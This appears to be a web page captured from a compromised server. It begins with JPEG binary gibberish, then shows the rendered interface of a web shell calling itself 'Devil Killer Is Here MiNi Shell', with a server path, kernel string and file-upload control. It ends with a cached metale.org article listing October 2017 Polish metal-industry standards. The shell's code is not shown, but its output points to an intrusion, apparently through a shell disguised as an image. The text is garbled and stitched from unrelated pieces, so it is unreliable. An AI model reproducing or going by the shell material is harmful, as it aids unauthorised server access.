JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/d0/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/d0/d08d641069eec56b9c013170de85cb1f.bin

a:2:{i:0;a:2:{i:0;s:29558:" 
                    
                    <h3 class="title" itemprop="headline">Polskie Normy dotyczące branży metalowej - październik 2017</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 02-11-2017, 00:00</strong>
                        <meta itemprop="dateModified" content=" 02-11-2017, 00:00"/>
                        <div class="hide" itemprop="description">
	Zestawienie Polskich Norm dotyczących branży metalowej - październik 2017</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="metale.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.metale.org/images/loga/metale.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/15618/crop/800x600/06065eaec7-610634001571969594.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.metale.org/artykuly/szczegoly/15618"/>
                        
                                        </p>

                    <div class="lorem">
                        <h3 style="text-align:center;">
	<span style="color:rgb(0,51,51);">Zestawienie Polskich Norm dotyczących branży metalowej</span></h3>
<h3 style="text-align:center;">
	<span style="color:rgb(0,51,51);">- październik 2017</span></h3>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 10028-5:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>11-10-2017</p>
<p>
	Wyroby płaskie ze stali na urządzenia ciśnieniowe -- Część 5: Stale spawalne drobnoziarniste walcowane termomechanicznie</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania dotyczące wyrobów płaskich na urządzenia ciśnieniowe wykonywanych ze stali spawalnych drobnoziarnistych walcowanych termomechanicznie wymienionych w Tablicy 1.</p>
<p>
	Stale te nie są przeznaczone do kształtowania na gorąco.</p>
<p>
	UWAGA 1 Dane dotyczące własności tych stali w podwyższonych temperaturach, dostępne w momencie publikowania niniejszej Normy Europejskiej, nie są wystarczające do wprowadzenia ich do normy.</p>
<p>
	Jeżeli zamierzone jest użytkowanie tych stali w takich temperaturach, to zaleca się uzgodnienie warunków ich użytkowania między zainteresowanymi stronami.</p>
<p>
	Mają również zastosowanie wymagania podane w EN 10028-1:2017.</p>
<p>
	UWAGA 2 Z chwilą opublikowania niniejszej Normy Europejskiej w Dzienniku Urzędowym UE (OJEU) jako zgodnej z dyrektywą 2014/68/UE, domniemanie zgodności z zasadniczymi wymaganiami bezpieczeństwa (ESR) dyrektywy 2014/68/UE ogranicza się do danych technicznych materiałów w niniejszej Normie Europejskiej (Część 1 i inna właściwa część tej serii) i nie obejmuje przydatności materiału dla konkretnego urządzenia. W związku z tym zachodzi potrzeba przeprowadzenia oceny danych technicznych zamieszczonych w niniejszej normie materiałowej w odniesieniu do wymagań konstrukcyjnych dla konkretnego urządzenia w celu sprawdzenia, czy ESR dyrektywy 2014/68/UE są spełnione.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 10028-6:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>11-10-2017</p>
<p>
	Wyroby płaskie ze stali na urządzenia ciśnieniowe -- Część 6: Stale spawalne drobnoziarniste hartowane i odpuszczane</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania dotyczące wyrobów płaskich na urządzenia ciśnieniowe wykonywanych ze stali spawalnych drobnoziarnistych hartowanych i odpuszczanych wymienionych w Tablicy 1.</p>
<p>
	Mają również zastosowanie wymagania podane w EN 10028-1:2017.</p>
<p>
	UWAGA Z chwilą opublikowania niniejszej Normy Europejskiej w Dzienniku Urzędowym UE (OJEU) jako zgodnej z dyrektywą 2014/68/UE, domniemanie zgodności z zasadniczymi wymaganiami bezpieczeństwa (ESR) dyrektywy 2014/68/UE ogranicza się do danych technicznych materiałów w niniejszej Normie Europejskiej (Część 1 i inna właściwa część tej serii) i nie obejmuje przydatności materiału dla konkretnego urządzenia. W związku z tym zachodzi potrzeba przeprowadzenia oceny danych technicznych zamieszczonych w niniejszej normie materiałowej w odniesieniu do wymagań konstrukcyjnych dla konkretnego urządzenia w celu sprawdzenia, czy ESR dyrektywy 2014/68/UE są spełnione<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 10120:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji:</strong> 16-10-2017</p>
<p>
	Blachy i taśmy stalowe na spawane butle do gazów</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania dotyczące blach i taśm o grubości do 5 mm ze stali wymienionych w Tablicy 1 przeznaczonych do produkcji spawanych butli do gazów.</p>
<p>
	Wyrobów dostarczanych zgodnie z niniejszą Normą Europejską dotyczą również ogólne warunki techniczne dostawy zawarte w EN 10021.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 10305-4:2016-06 - wersja polska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>05-10-2017</p>
<p>
	Rury stalowe precyzyjne -- Warunki techniczne dostawy -- Część 4: Rury bez szwu ciągnione na zimno na siłowniki hydrauliczne i pneumatyczne</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono warunki techniczne dostawy rur stalowych bez szwu ciągnionych na zimno o przekroju okrągłym, stosowanych na siłowniki hydrauliczne i pneumatyczne.</p>
<p>
	Rury zgodne z niniejszym dokumentem charakteryzują się dotrzymaniem precyzyjnie określonych tolerancji wymiarów i określonej maksymalnej chropowatości powierzchni.</p>
<p>
	Dopuszczalne szybkości zmian ciśnienia i górnych temperatur są stosowane na odpowiedzialność klienta zgodnie ze sztuką i z zastosowaniem współczynników bezpieczeństwa podanych w odpowiednich regulacjach, przepisach lub normach. Wymagania dotyczące udarności w zakresie niskich temperatur podano dla 0 °C.</p>
<p>
	UWAGA Z chwilą opublikowania niniejszej normy w Dzienniku Urzędowym Unii Europejskiej (OJEU) jako zgodnej z dyrektywą 2014/68/UE, domniemanie zgodności z zasadniczymi wymaganiami bezpieczeństwa (ESR) dyrektywy 2014/68/UE ogranicza się do danych technicznych materiałów w niniejszej normie i nie obejmuje przydatności materiału dla konkretnego urządzenia. W związku z tym zachodzi potrzeba przeprowadzenia oceny danych technicznych zamieszczonych w niniejszej normie materiałowej w odniesieniu do wymagań konstrukcyjnych dla konkretnego urządzenia w celu sprawdzenia, czy zasadnicze wymagania bezpieczeństwa Dyrektywy Urządzenia ciśnieniowe są spełnione.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 10305-5:2016-06 - wersja polska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>09-10-2017</p>
<p>
	Rury stalowe precyzyjne -- Warunki techniczne dostawy -- Część 5: Rury ze szwem kalibrowane na zimno o przekroju kwadratowym i prostokątnym</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono warunki techniczne dostawy rur stalowych precyzyjnych ze szwem kalibrowanych na zimno o przekroju kwadratowym i prostokątnym.</p>
<p>
	Rury zgodne z niniejszym dokumentem charakteryzują się dotrzymaniem precyzyjnie określonych tolerancji wymiarów i określonej maksymalnej chropowatości powierzchni. Typowymi obszarami zastosowania są samochody, meble i ogólnie przemysł maszynowy.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 12438:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>26-10-2017</p>
<p>
	Magnez i stopy magnezu -- Stopy magnezu naanody odlewane</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono gatunki i odpowiadające im wymagania dla stopów magnezu na anody odlewane.</p>
<p>
	W niniejszej Normie Europejskiej podano dwie grupy gatunków odlewanych stopów magnezu, sklasyfikowanych na podstawie składu chemicznego. Pierwsza grupa dotyczy gąsek stopów magnezu na anody.</p>
<p>
	Druga grupa dotyczy anod odlewanych ze stopów magnezu. Określono skład chemiczny, oznaczenie, badania i dokumenty kontroli.</p>
<p>
	Niniejsza Norma Europejska nie obejmuje warunków technicznych dostawy odlewów ze stopów magnezu na anody odlewane (patrz EN 1559-1 i EN 1559-5).<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 13480-1:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>05-10-2017</p>
<p>
	Rurociągi przemysłowe metalowe -- Część 1: Postanowienia ogólne</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania dotyczące przemysłowych instalacji rurociągowych i zamocowań, łącznie z systemami bezpieczeństwa, wykonanych z materiałów metalowych, mając na względzie zapewnienie bezpiecznej eksploatacji.</p>
<p>
	Niniejsza Norma Europejska dotyczy rurociągów metalowych naziemnych, kanałowych lub podziemnych, bez względu na ciśnienie.</p>
<p>
	Niniejsza Norma Europejska nie dotyczy:<br />
	- Rurociągów przesyłowych i ich osprzętu;<br />
	- Kanałów przepływu wody, takich jak rurociągi zasilające, tunele ciśnieniowe, szyby ciśnieniowe do instalacji hydroelektrycznych i związanego z nimi specjalnego osprzętu;<br />
	- Rurociągów na pojazdach objętych procedurami zatwierdzonymi przez EWG i zawartych w dyrektywach 70/156/EWG [1], 74/150/EWG [2] i 92/61/EWG [3];<br />
	- Elementów specjalnie zaprojektowanych do zastosowania jądrowego, których uszkodzenie może spowodować emisję radioaktywności;<br />
	- Sprzętu wiertniczo-kontrolnego, używanego w poszukiwaniach ropy naftowej, gazu lub badaniach geotermicznych i przemyśle wydobywczym oraz w podziemnym magazynowaniu, który jest przeznaczony do przejmowania i/lub kontroli ciśnienia odwiertu, łącznie z rurociągami;<br />
	- Rurociągów wielkich pieców, łącznie z chłodzeniem pieca, rekuperatorów gorącego dmuchu, odpylaczy i płuczek wieżowych gazów wydechowych wielkiego pieca, żeliwiaków do bezpośredniej redukcji rud łącznie z chłodzeniem pieca, konwertorów gazowych i pieców próżniowych oraz kadzi do topienia, przetapiania, odgazowywania i odlewania stali oraz metali nieżelaznych;<br />
	- Obudów sprzętu elektrycznego na wysokie napięcie, takiego jak aparatura łączeniowa, urządzenia sterujące i transformatory;<br />
	- Rur ciśnieniowych stosowanych na obudowy bezpieczeństwa systemów przesyłowych, takich jak kable energetyczne i telefoniczne;<br />
	- Rurociągów zamocowanych trwale na statkach, rakietach, samolotach i poruszających się jednostkach przybrzeżnych;<br />
	- Rurociągów wewnętrznych w urządzeniach medycznych, określonych w dyrektywie 93/142/EWG [4] dotyczącej urządzeń medycznych;<br />
	- Rurociągów wewnętrznych kotłów i rurociągów integralnych ze zbiornikami ciśnieniowymi.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 13480-2:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>16-10-2017</p>
<p>
	Rurociągi przemysłowe metalowe -- Część 2: Materiały</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części tej Normy Europejskiej określono wymagania dotyczące materiałów (łącznie z materiałami metalowymi platerowanymi) na rurociągi przemysłowe i zamocowania ujęte w EN 13480-1, wytwarzane z materiałów metalowych. Aktualnie norma jest ograniczona do stali o dostatecznej ciągliwości. Niniejsza część tej Normy Europejskiej nie dotyczy materiałów stosowanych w warunkach pełzania.</p>
<p>
	UWAGA Inne materiały będą wprowadzane w późniejszym czasie metodą zmian.</p>
<p>
	W normie określono wymagania dotyczące doboru, kontroli, badań i znakowania materiałów metalowych do wykonywania rurociągów przemysłowych.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 13480-3:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>16-10-2017</p>
<p>
	Rurociągi przemysłowe metalowe -- Część 3: Projektowanie i obliczenia</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części tej Normy Europejskiej określono projektowanie i obliczenia przemysłowych instalacji rurociągowych metalowych, łącznie z zamocowaniami, ujętych w EN 13480.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 13480-4:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>16-10-2017</p>
<p>
	Rurociągi przemysłowe metalowe -- Część 4: Wykonanie i montaż</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części tej Normy Europejskiej określono wymagania dotyczące wykonania i montażu instalacji rurociągowych, łącznie z zamocowaniami, zaprojektowanych zgodnie z EN 13480-3:2017.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 13480-5:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>16-10-2017</p>
<p>
	Rurociągi przemysłowe metalowe -- Część 5: Kontrola i badania</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części tej Normy Europejskiej określono wymagania dotyczące kontroli i badań rurociągów przemysłowych określonych w EN 13480-1:2017, przeprowadzanych na pojedynczych kolektorach lub instalacjach rurociągowych, łącznie z zamocowaniami, zaprojektowanych zgodnie z EN 13480-3:2017 i EN 13480-6:2017 (jeśli dotyczy), i wykonanych oraz montowanych zgodnie z EN 13480-4:2017.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 13480-6:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>16-10-2017</p>
<p>
	Rurociągi przemysłowe metalowe -- Część 6: Wymagania dodatkowe dla rurociągów podziemnych</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono wymagania dotyczące rurociągów przemysłowych położonych całkowicie pod ziemią lub częściowo pod ziemią i częściowo w rurach osłonowych lub podobnym zabezpieczeniu. Dokument ten stosuje się łącznie z pozostałymi sześcioma częściami normy EN 13480.</p>
<p>
	Gdy rurociąg podziemny wykonany zgodnie z wymaganiami niniejszej normy łączy się z rurociągiem wykonanym według innych wymagań, np. rurociągiem przesyłowym, zaleca się, aby połączenie stanowił element separujący oba rurociągi, np. zawór odcinający lub regulacyjny. Zaleca się wykonanie tego połączenia w pobliżu granicy terenu przemysłowego, przy czym może się ono znajdować wewnątrz lub na zewnątrz tej granicy.</p>
<p>
	Temperatura robocza do 75 °C.</p>
<p>
	UWAGA Dla wyższych temperatur zaleca się stosowanie EN 13941+A1:2010, pamiętając o tym, że CEN/TC 107 zajmuje się tylko rurociągami preizolowanymi pracującymi w temperaturach do 140 °C, mającymi średnice do 800 mm, które stanowią najnowszy stan techniki tych wyrobów.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 13480-8:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji:</strong> 16-10-2017</p>
<p>
	Rurociągi przemysłowe metalowe -- Część 8: Wymagania dodatkowe dla rurociągów z aluminium i stopów aluminium</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części EN 13480 określono wymagania dotyczące przemysłowych instalacji rurociągowych wykonanych z aluminium i stopów aluminium, dodatkowo do wymagań ogólnych dla rurociągów przemysłowych według serii norm EN 13480 i CEN/TR 13480-7.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 1982:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>30-10-2017</p>
<p>
	Miedź i stopy miedzi -- Gąski i odlewy</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono skład chemiczny, własności mechaniczne oraz inne istotne charakterystyki materiałów. Podano także procedury pobierania próbek oraz metody badań służące do sprawdzania zgodności z wymaganiami niniejszej normy.</p>
<p>
	Normę stosuje się do:<br />
	a) gąsek ze stopów miedzi przeznaczonych do przetopienia w celu wytworzenia odlewów; oraz<br />
	b) odlewów z miedzi i stopów miedzi przeznaczonych do stosowania bez dalszej obróbki, innej niż obróbka skrawaniem. Odlewy mogą być wytwarzane metodą odlewania do form piaskowych, kokil, metodą odlewania odśrodkowego, ciągłego lub ciśnieniowego.</p>
<p>
	Zalecaną procedurę postępowania przy zamawianiu i dostawie odlewów podano w Załączniku A. Opcjonalne, dodatkowe procedury kontroli gąsek i odlewów podano w Załączniku B.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 14556:2015-12 - wersja polska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>20-10-2017</p>
<p>
	Metale -- Próba udarności sposobem Charpy'ego z karbem V -- Oprzyrządowana metoda badania</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Międzynarodowej określono oprzyrządowaną metodę badania próby udarności Charpy’ego z karbem V metali i wymagania dotyczące wyposażenia pomiarowego i rejestrującego. W odniesieniu do próby udarności Charpy’ego opisanej w ISO 148-1, próba ta dostarcza pełniejsze informacje na temat procesu pękania wyrobu w warunkach próby udarności. Ogólne informacje o próbie udarności z oprzyrządowaniem znajdują się w pozycjach bibliograficznych od [1] do [5]<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 20274:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>19-10-2017</p>
<p>
	Emalie szkliste i porcelanowe -- Przygotowanie próbek i wyznaczanie współczynnika rozszerzalności cieplnej</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono procedury przygotowania próbek emalii do pomiaru zmiany długości pod wpływem ciepła i obliczenia współczynnika rozszerzalności cieplnej.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 2082:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji:</strong> 26-10-2017</p>
<p>
	Powłoki metalowe i inne nieorganiczne -- Elektrolityczne powłoki kadmowe z obróbką dodatkową na żeliwie lub stali</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono wymagania dotyczące elektrolitycznych powłok kadmowych z obróbkami dodatkowymi na podłożach żeliwnych i stalowych. Zawiera informacje, które zamawiający powinien przekazać wykonawcy oraz opisuje wymagania stawiane powłokom, w tym wymagania odnoszące się do obróbki cieplnej przed procesem galwanicznym i po nim.</p>
<p>
	Nie stosuje się go do powłok nakładanych:<br />
	-– na blachy, taśmy i druty w postaci nie obrobionej fabrycznie,<br />
	–- na ciasno zwinięte sprężyny lub<br />
	-– w celach wynikających z właściwości innych niż ochronne, właściwości smarne, ciągliwość, przewodzenie elektryczności oraz niska oporność stykowa.</p>
<p>
	W niniejszym dokumencie nie określono wymagań co do stanu powierzchni metalu podłoża przed elektroosadzaniem kadmu.</p>
<p>
	Grubość powłoki nakładanej na elementy gwintowane może być ograniczona wymaganiami dotyczącymi wymiarów, w tym klasy i dopasowania.</p>
<p>
	Dodatkowe informacje dotyczące odporności na korozję, płukania i suszenia, obróbki części w ilościach hurtowych oraz barwienia chromianowych powłok konwersyjnych podano w Załączniku C.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 2360:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>26-10-2017</p>
<p>
	Powłoki nieprzewodzące na podłożu niemagnetycznym przewodzącym elektryczność -- Pomiar grubości powłok -- Metoda amplitudowa prądów wirowych</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono nieniszczącą metodę pomiarów grubości powłok nieprzewodzących na niemagnetycznych przewodzących elektryczność podłożach metalowych za pomocą amplitudowych wiroprądowych urządzeń pomiarowych.</p>
<p>
	W niniejszym dokumencie termin „powłoka” jest używany w odniesieniu do materiałów takich jak, na przykład, farby i lakiery, powłoki elektrolityczne, powłoki emalierskie, powłoki z tworzyw sztucznych, powłoki proszkowe i okładziny. Niniejsza metoda ma szczególne zastosowanie do pomiarów grubości większości powłok tlenkowych wytwarzanych w procesie anodowania, ale nie ma zastosowania do wszystkich powłok konwersyjnych, ponieważ niektóre są zbyt cienkie, żeby można było mierzyć je tą metodą (patrz Rozdział 6).</p>
<p>
	Niniejsza metoda może być również stosowana do pomiarów niemagnetycznych powłok metalowych na nieprzewodzącym materiale podłoża. Jednakże w takim przypadku szczególnie użyteczna jest metoda fazowa prądów wirowych określona w ISO 21968 i może ona dać wyniki pomiarów grubości z większą dokładnością (patrz Załącznik A).</p>
<p>
	Niniejsza metoda nie może być stosowana do pomiarów niemagnetycznych powłok metalowych na przewodzącym materiale podłoża. W takim przypadku szczególnie użyteczna jest metoda fazowa prądów wirowych określona w ISO 21968. Jednakże w szczególnym przypadku bardzo cienkich powłok o bardzo małej przewodności można stosować również metodę amplitudową prądów wirowych (patrz Załącznik A).</p>
<p>
	Chociaż niniejsza metoda może być stosowana do pomiarów grubości powłok na podłożu magnetycznym, nie jest to jednak zalecane. W tego typu przypadkach można stosować metodę magnetyczną określoną w ISO 2178. Jedynie w przypadku bardzo grubych powłok o grubości powyżej około 1 mm metoda amplitudowa prądów wirowych może być również stosowana (patrz Załącznik A).<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 4496:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>16-10-2017</p>
<p>
	Proszki metaliczne -- Oznaczanie części nierozpuszczalnych w kwasach w proszkach żelaza, miedzi, cyny i brązów</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono metody stosowane do oznaczania przybliżonej zawartości substancji niemetalicznych, nierozpuszczalnych w powszechnie używanych kwasach mineralnych, w proszkach żelaza, miedzi, cyny i brązów. Za substancje nierozpuszczalne uważa się zwykle nieroztwarzalne w kwasach: krzemionkę i krzemiany, węgliki, tlenek glinu, iły lub inne materiały ogniotrwałe w postaci tlenków obecnych w surowcu, z którego wytwarza się proszki, lub wprowadzanych w trakcie procesu wytwarzania.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 9606-1:2017-10 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>30-10-2017</p>
<p>
	Egzamin kwalifikacyjny spawaczy -- Spawanie -- Część 1: Stale</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części ISO 9606 zdefiniowano wymagania dotyczące egzaminu kwalifikacyjnego spawacza do spawania stali.</p>
<p>
	Zawiera ona zasady techniczne dotyczące systematycznego egzaminu kwalifikacyjnego spawacza i upoważnia do jednoznacznego akceptowania tego rodzaju kwalifikacji niezależnie od typu wyrobu, miejsca i egzaminatora lub jednostki egzaminującej.</p>
<p>
	Podczas egzaminowania spawacza kładzie się nacisk na zdolności spawacza do takiego ręcznego manipulowania elektrodą, uchwytem spawalniczym lub palnikiem spawalniczym, aby wykonać spoinę o akceptowanej jakości.</p>
<p>
	Procesy spawania według niniejszej części ISO 9606 obejmują tylko takie procesy spawania, które uznane są za procesy ręcznego lub częściowo zmechanizowanego spawania. Nie obejmują zatem procesów spawania w pełni zmechanizowanego i automatycznego.</p>
<p>
	UWAGA Dla tego rodzaju procesów, patrz ISO 14732.</p>
<p>
	<br />
	 </p>
<hr />
<p style="text-align:right;">
	Zestawienie zostało opracowane przez Redakcję Metale.org<br />
